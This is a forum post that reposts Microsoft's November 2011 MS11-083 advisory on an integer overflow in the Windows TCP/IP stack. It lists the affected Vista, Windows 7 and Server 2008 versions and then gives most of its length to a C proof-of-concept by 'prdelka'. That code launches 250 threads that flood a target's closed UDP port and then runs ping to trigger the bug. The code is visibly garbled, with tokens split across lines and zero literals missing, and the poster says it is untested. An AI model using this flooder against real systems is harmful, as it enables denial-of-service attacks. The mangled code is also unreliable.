This vulnerability was published by Microsoft on Tuesday, November 08, 2011.
I thought I'd post it here because not much else is being posted in the vulnerability database anyways.
Vulnerable
- Windows Vista Service Pack 2
- Windows Vista x64 Edition Service Pack 2
- Windows Server 2008 for 32-bit Systems Service Pack 2
- Windows Server 2008 for x64-based Systems Service Pack 2
- Windows Server 2008 for Itanium-based Systems Service Pack 2
- Windows 7 for 32-bit Systems
- Windows 7 for 32-bit Systems Service Pack 1
- Windows 7 for x64-based Systems
- Windows 7 for x64-based Systems Service Pack 1
- Windows Server 2008 R2 for x64-based Systems
- Windows Server 2008 R2 for x64-based Systems Service Pack 1
- Windows Server 2008 R2 for Itanium-based Systems
- Windows Server 2008 R2 for Itanium-based Systems Service Pack 1
Details
The vulnerability is caused due to an integer overflow in Windows TCP/IP stack while processing a continuous flow of specially crafted UDP packets. A remote attacker could trigger this issue by sending a continuous flow of specifically crafted UDP packets to a closed port on a target system. Successful exploitation could allow an attacker to run arbitrary code in kernel mode.
Proof of Concept (I have not tested this)
/*
* MS11-083 DoS/PoC exploit
* ========================
* This attempts to trigger the ICMP refCount overflow
* in TCP/IP stack of Win7/Vista/Win2k8 hosts. This
* requires sending 2^32 UDP packets to a host on a closed
* port, or 4,294,967,296 packets. A dereference function
* must be called that is not triggered via UDP but ICMP
* echo packets. This exploit creates 250 threads and
* floods a host with UDP packets and then attempts to
* trigger the de-ref using ping. I calculated that it
* would take approximately 52 days for the host to
* enter a condition where this vulnerability is
* triggerable.
*
* -- prdelka
*/
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/time.h>
int port
;
int active
= ;
pthread_mutex_t mutexactive
;
void *sendpackets
(void *ptr
);
int main
(int argc
, char *argv
[]) {
pthread_t thread
;
int iret
,lthreads
;
pid_t pid
;
printf("[+] MS11-083 DoS/PoC exploit\n");
if(argc
<3
){
printf("[!] Usage : %s <server> <port>\n", argv
[]);
exit
(1
);
}
char *const args
[] = {"ping",argv
[1
],NULL
};
char *const envp
[] = {"",NULL
};
port
= atoi
(argv
[2
]);
for(lthreads
=;lthreads
<250;lthreads
++){//UDP flood
iret
= pthread_create
(&thread
,NULL
,sendpackets
,argv
[1
]);
printf("[-] Thread number %d started\n",lthreads
);
sleep
(1
);
}
printf("[-] One does not simply barrel roll into Mordor\n");
pid
= fork
();
if(pid
==){// trigger deref.
execve
("./ping.sh",args
,envp
);
};
while(active
){
}
printf("[-] You are finished. Patience is a virtue.\n");
exit
();
}
void *sendpackets
(void *ptr
)
{
int sd
, rc
, n
, echoLen
, flags
, error
, timeOut
;
unsigned long i
;
struct sockaddr_in remoteServAddr
;
struct hostent
*h
;
char str
[41
];
pthread_mutex_lock
(&mutexactive
);
active
++;
pthread_mutex_unlock
(&mutexactive
);
srand
(time
(NULL
));
for (i
= ;i
< 40;++i
){
str
[i
] = (char)((rand
() % 78
) + 30
);
}
str
[40] = '\0'; // yes this was off-by-one.
printf("[-] Sending payload '%s'\n",str
);
h
= gethostbyname
(ptr
);
if(h
==NULL
) {
printf("unknown host '%s' \n",(char*)ptr
);
exit
(1
);
}
remoteServAddr.
sin_family = h
->h_addrtype
;
memcpy
((char *) &remoteServAddr.
sin_addr.
s_addr,h
->h_addr_list
[], h
->h_length
);
remoteServAddr.
sin_port = htons
(port
);
sd
= socket
(AF_INET
,SOCK_DGRAM
,);
if(sd
<){
printf("[!] Cannot open socket\n");
pthread_exit
((void*));
}
flags
= ;
for(i
=;i
<4294967295;i
++){
rc
= sendto
(sd
,str
,strlen
(str
)+1
,flags
,(struct sockaddr
*)&remoteServAddr
,sizeof(remoteServAddr
));
if(rc
<){
printf("[!] Cannot send data\n");
close
(sd
);
pthread_exit
((void*));
}
}
pthread_mutex_lock
(&mutexactive
);
active
--;
pthread_mutex_unlock
(&mutexactive
);
pthread_exit
(NULL
);
}